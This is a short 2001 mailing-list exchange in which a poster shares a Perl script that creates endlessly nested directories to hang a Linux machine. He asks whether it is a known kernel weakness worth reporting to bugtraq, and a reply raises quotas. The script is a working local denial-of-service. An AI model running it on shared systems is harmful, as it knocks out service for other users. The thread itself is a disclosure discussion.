[offtopic] : a small DoS

[Michal Moskal]

On Mon, Jan 15, 2001 at 02:30:39PM +0100, Crazniety wrote:
> On Mon, 15 Jan 2001, Michal Moskal wrote:
> 
> > Is there any limit for inodes alloacted
> > per user in kernel. W/o it any local user
> > can prevent machine from any acticvity...
> > ------
> > #!/usr/bin/perl
> > 
> > $n=0;
> > while (1) {
> > 	$n++;
> > 	mkdir("x", 0700) || last; 
> > 	chdir("x");
> > }
> > print "Done at $n\n";
> > sleep(100);
> > ------
> > I wonder whatever it's known or should i sent
> > it to bugtraq ?
> 
> Hm.. Did you try that with quota on ?
> 

Well, this depends on amount of physcial RAM 
on your box. my box hangs at about 2000-3000
directory levels, depending on ther load,
i have 32mb. i would have to limit number
of inodes under that which i don't want to do
since some projects have more then 1000 files.
Of course having 10000 files doesn't couse
any DoS, only having that much directories
and being inside them.

> 
> -------------------------
> crazy w rudy.mif.pg.gda.pl

-- 

                             Michał Moskal <malekith w pld.org.pl>

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